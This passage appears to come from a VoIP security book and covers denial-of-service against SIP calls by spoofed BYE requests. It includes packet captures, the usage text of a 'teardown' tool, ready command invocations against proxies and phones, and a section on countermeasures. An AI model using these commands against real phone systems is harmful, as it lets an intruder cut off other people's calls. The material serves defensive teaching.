Session Teardown With Bye Requests Using the Teardown Tool

Popularity:	7
Simplicity:	6
Impact:	7
Risk Rating:	7

In SIP, BYE requests are sent between SIP phones to announce completion of the call. BYE requests can be sent SIP phone to SIP phone, or they can be sent through the SIP proxy. In a typical enterprise deployment, depending on the implementation, BYE requests are sent through the SIP proxy, so it can maintain call state and support features such as call accounting. Sending all signaling through the SIP proxy is forced by using Record-Route header lines as shown here:

 Request-Line: INVITE sip:4000@10.1.101.40:5060 SIP/2.0     Method: INVITE     Resent Packet: False Message Header  Record-Route: <sip:10.1.101.2;ftag=0fe289ac9a4659ac;lr=on>  Via: SIP/2.0/UDP 10.1.101.2;branch=z9hG4bKdc4f.76824dd5.0     Via: SIP/2.0/UDP 10.1.101.35;branch=z9hG4bKc0c35e0a6d1168d3     From: "GS 2" <sip:3500@10.1.101.2>;tag=0fe289ac9a4659ac         SIP Display info: "GS 2"         SIP from address: sip:3500@10.1.101.2         SIP tag: 0fe289ac9a4659ac     To: <sip:4000@10.1.101.2>         SIP to address: sip:4000@10.1.101.2     Contact: <sip:3500@10.1.101.35>     Supported: replaces     Call-ID: 14f0cca7524b0a85@10.1.101.35     CSeq: 64978 INVITE     User-Agent: Grandstream BT110 1.0.8.12     Max-Forwards: 16     Allow: INVITE,ACK,CANCEL,BYE,NOTIFY,REFER,OPTIONS,INFO,SUBSCRIBE     Content-Type: application/sdp     Content-Length: 383

Whether or not BYE requests are routed through the SIP proxy, SIP phones are vulnerable to illicit BYE requests sent from attackers . To demonstrate this attack, we developed the teardown tool, which is used to send BYE requests to a SIP phone. The usage information for this tool is as follows :

teardown: ./teardown EthernetInterface TargetUser TargetDomainIP DestinationIP CallID FromTag ToTag I SourceIP S SourcePort -D DestinationPort l linestring h -v Usage Example: ./teardown eth0 5000 asterisk_proxy asterisk_proxy Mandatory parameters: EthernetInterface The Ethernet Interface to write to. TargetUser - "" or john.doe or 5000 or "1+210-555-1212". TargetDomainIP The IPV4 address to which the packet will be sent. It can represent the SIP proxy or the SIP phone. Note that if this value is the proxy, then the DestinationIP is the IP address to which the SIP proxy will forward the request. This value should be set to the same value as DestinationIP when directly targeting a SIP phone. DestinationIP IPV4 address of the target system. Note that this value is the final target of the request. It should always be set to the IPV4 address of the target SIP phone. CallID The call ID used for all requests for the call to be torn down. The call ID for the call must be observed and specified in order for the teardown request to work properly. FromTag The FromTag is appended to the "From" header line. This value must be specified in order for the teardown request to be accepted by either the SIP proxy or SIP phone. ToTag The ToTag is appended to the "To" header line. This value must be specified in order for the teardown request to be accepted by either the SIP proxy or SIP phone. Optional Parameters: -I SourceIP Used to set the source IPV4 address. The default is the IPV4 address of the Ethernet interface. -S SourcePort Used to set the source port. The range is 0 to 65535. The default is the well-known discard port 9. -D DestinationPort Used to set the destination port. The range is 0 to 65535. The default is the well-known SIP port 5060. This parameter is only needed for the Snom SIP phone, which by default uses port 2051. -l linestring A string used by the Snom SIP phone. It must be specified for attacks sent directly to a Snom IP phone. -h Help Prints this usage information. -v Verbose Enables verbose output.

For all of the SIP phones tested , the CallID , FromTag , and ToTag must be specified for this attack to work. Some older SIP phones did not require these values, so you might find ones that do not. Because a teardown attack requires these values, you must collect them from the appropriate packets. The CallID is present on all requests and responses. It is, of course, initially set on the INVITE request.

The FromTag and ToTag are set on various SIP requests and responses. Note that these values can change over the course of the call setup, so you will want to capture and use the values in the OK response. The following packets were captured using Wireshark and show the CallID , FromTag , and ToTag on various requests:

 Request-Line: INVITE sip:3000@ser_proxy SIP/2.0     Method: INVITE     Resent Packet: False Message Header     Via: SIP/2.0/UDP 10.1.101.35;branch=z9hG4bKd3eb18e03c927842  From: "GS 2" <sip:3500@ser_proxy>;tag=6a81db91b12d3fac  To: <sip:3000@ser_proxy>     Contact: <sip:3500@10.1.101.35>     Supported: replaces  Call-ID: 1b605490cdcfb164@10.1.101.35  CSeq: 6891 INVITE     User-Agent: Grandstream BT110 1.0.8.12     Max-Forwards: 70     Allow: INVITE,ACK,CANCEL,BYE,NOTIFY,REFER,OPTIONS,INFO,SUBSCRIBE          Content-Type: application/sdp          Content-Length: 384 <snip SDP> Session Initiation Protocol     Status-Line: SIP/2.0 200 Ok         Status-Code: 200         Resent Packet: False     Message Header         Via: SIP/2.0/UDP ser_proxy;branch=z9hG4bKa73e.301b21f1.0         Via: SIP/2.0/UDP 10.1.101.35;branch=z9hG4bKd3eb18e03c927842         Record-Route: <sip:ser_proxy;ftag=6a81db91b12d3fac;lr=on>  From: "GS 2" <sip:3500@ser_proxy>;tag=6a81db91b12d3fac   To: <sip:3000@ser_proxy>;tag=75jmhn8jwu   Call-ID: 1b605490cdcfb164@10.1.101.35  CSeq: 6891 INVITE         Contact: <sip:3000@10.1.101.30:2051;line=xuahyhk7>         User-Agent: snom190/3.60x         Allow: INVITE, ACK, CANCEL, BYE, REFER, OPTIONS, NOTIFY,         SUBSCRIBE, PRACK, MESSAGE, INFO         Allow-Events: talk, hold, refer         Supported: timer, 100rel, replaces         Content-Type: application/sdp         Content-Length: 218 <snip SDP>

The easiest way to use the teardown tool is to use Wireshark to capture and save the SIP requests and responses exchanged during the call setup. In Linux, use grep to search the file for CallID, FromTag, and ToTag, and use the resulting values in invocations of the teardown tool. Of course, this entire process could be fully automated. You could develop a tool that monitored for calls and lets you select which calls are to be terminated .

The following sections describe use of the teardown tool to terminate calls by sending SIP requests to the SIP proxy and directly to a SIP phone.

Attack Teardowns Through the SIP Proxy

You can use the teardown tool to send SIP BYE requests to the SIP proxy, which will in turn route the requests to the target SIP phone. Assuming the correct information is observed for the call setup, this attack works for all SIP phones tested and for SIP phones managed by both the Asterisk and SER SIP proxies. The commands used for the SIP phones are very similarthe only difference is that several optional parameters must be set for the Snom SIP phone. The command invocations used are as follows:

 ./teardown eth0 3500 ser_proxy 10.1.101.35 c CallID f FromTag t ToTag ./teardown eth0 4000 ser_proxy 10.1.101.40 c CallID f FromTag t ToTag ./teardown eth0 4500 ser_proxy 10.1.101.45 c CallID f FromTag t ToTag ./teardown eth0 3000 ser_proxy 10.1.101.30 c CallID f FromTag t ToTag D 2051 l linestring

Sending a SIP BYE request to one SIP phone is sufficient to terminate the call. You can, of course, use a variation of each command to send a BYE to each SIP phone.

Attack Teardowns Directly to the SIP Phone

You can use the teardown tool to send SIP BYE requests directly to the SIP phones. Assuming the correct information is observed for the call setup, this attack works for all SIP phones tested. The commands used for the SIP phones are very similarthe only difference is that several optional parameters must be set for the Snom SIP phone. The command invocations used are as follows:

 ./teardown eth0 3500 10.1.101.35 10.1.101.35 c CallID f FromTag t ToTag ./teardown eth0 4000 10.1.101.40 10.1.101.40 c CallID f FromTag t ToTag ./teardown eth0 4500 10.1.101.45 10.1.101.45 c CallID f FromTag t ToTag ./teardown eth0 3000 10.1.101.30 10.1.101.30 c CallID f FromTag t ToTag D 2051 l linestring

Sending a SIP BYE request to one SIP phone is sufficient to terminate the call. You can, of course, use a variation of each command to send a BYE to each SIP phone.

Attack Session Teardown Using CANCEL Requests

SIP CANCEL requests are sent to terminate processing for a SIP request. It is possible to send CANCEL requests to affect a call while being set up (or otherwise modified). As with the teardowns described in the previous section, you need to observe various values and send the CANCEL request at the proper time. This attack is possible, but difficult to execute in practice. There is really little point in executing this attack, when the session teardown attack described in the previous section is easier to perform.

Impact and Probability of Occurrence

Assuming the attacker can observe the necessary values, session teardown attacks can be disruptive. How disruptive depends on which and how many calls the attacker can observe and tear down. A worst-case scenario could occur if an attacker is able to observe a portion of the network containing a large number of calls, such as a link to a media gateway or Wide Area Network (WAN). In this case, the attacker could tear down any of the observed calls.

For these attacks to take place, the attacker needs access to your internal network. This can occur as a result of a user downloading a worm or virus with the ability to observe sessions and tear them down. This can also occur if an attacker gains access to the internal network through other means.

Countermeasures

You can employ several countermeasures to prevent an attacker from tearing down calls. The goal here is to protect against monitoring of signaling and preventing a SIP proxy/ SIP phone from being tricked into accepting illicit session teardown requests. Several countermeasures are addressed here.

Countermeasurs Use TCP for SIP Connections

RFC 3261compliant SIP proxies (and SIP phones) must support both UDP and TCP. When TCP is used, SIP endpoints generally establish persistent connections with each other. For example, SIP phones will establish persistent connections to the SIP proxy. Because of features inherent in TCP, such as the use of sequence numbers , it is more difficult for an attacker to trick a SIP proxy or SIP phone into accepting an illicit session teardown request.

For TCP to be an effective countermeasure against registration attacks, it must be used for all SIP phones communicating with the SIP proxy. Any SIP phone not using TCP will be more vulnerable to illicit session teardowns.

Note	Some attacks against TCP are still possible, as discussed in Chapter 6.

When using TCP, you can also employ Transport Layer Security (TLS) (http://www.rfc.net/rfc2246.html). TLS uses encryption to provide privacy and strong authentication and prevents attackers from eavesdropping on signaling and finding key parameters needed to generate a successful session teardown request. TLS also provides strong authentication, which makes it very difficultif not impossible for an attacker to trick a SIP proxy or SIP phone into accepting illicit session teardown requests.

TLS shares a disadvantage with TCP, however, in that if some SIP phones use TLS, but others do not, then the security model breaks down. While those SIP phones using TLS may be secure, those that do not are still vulnerable to illicit session teardowns.

Unfortunately, the Asterisk SIP proxy does not support TCP. Neither the Asterisk nor the SER SIP proxy currently supports TLS, and while most SIP phones support TCP, most do not support TLS.

Countermeasurs Use VLANs to Separate Voice and Data

Most enterprise-class SIP systems use VLANs to separate voice and data. With VLANs and properly configured LAN switches, you can block an attempt to tear down calls from a compromised PC. Additional countermeasures include MAC filtering and 802.1x port authentication.

It might still be possible, however, to get packets onto the voice VLAN if a rogue PC is added to a LAN switch port configured for the voice VLAN. The use of softphones on PCs can also defeat the use of VLANs as a security measure. When a softphone is used, packets, presumably from the softphone, must be accepted by the SIP proxy, opening up the possibility that a rogue application can generate session teardown requests that are accepted by the SIP proxy (or another SIP phone).

It is also possible to get spoofed session teardown packets onto the voice VLAN if a rogue PC is added to the LAN switch port configured for the voice VLAN.

Countermeasurs Enable Authentication

RFC 3261compliant SIP proxies must support digest-based authentication. This authentication can be enabled for BYE requests, making it more difficult for an attacker to generate illicit session teardown requests that are accepted by the SIP proxy. Unfortunately, this countermeasure does not help with attacks directly targeting SIP phones.

For authentication to be useful, it is essential to use strong passwords. If the passwords are weak or "mechanically" generated, such as reversed phone extensions, an attacker can easily guess them and defeat authentication.

Countermeasurs Change Well-Known Ports

SIP proxies allow the default SIP port of 5060 to be changed. While this is a "security through obscurity" technique, it does provide some limited protection.

Countermeasurs Use SIP Firewalls

A SIP firewall can be deployed to inspect all signaling sent to the SIP proxy. The SIP firewall can detect various forms of attacks, including illicit session teardowns. A SIP firewall is essential when connecting to a public network.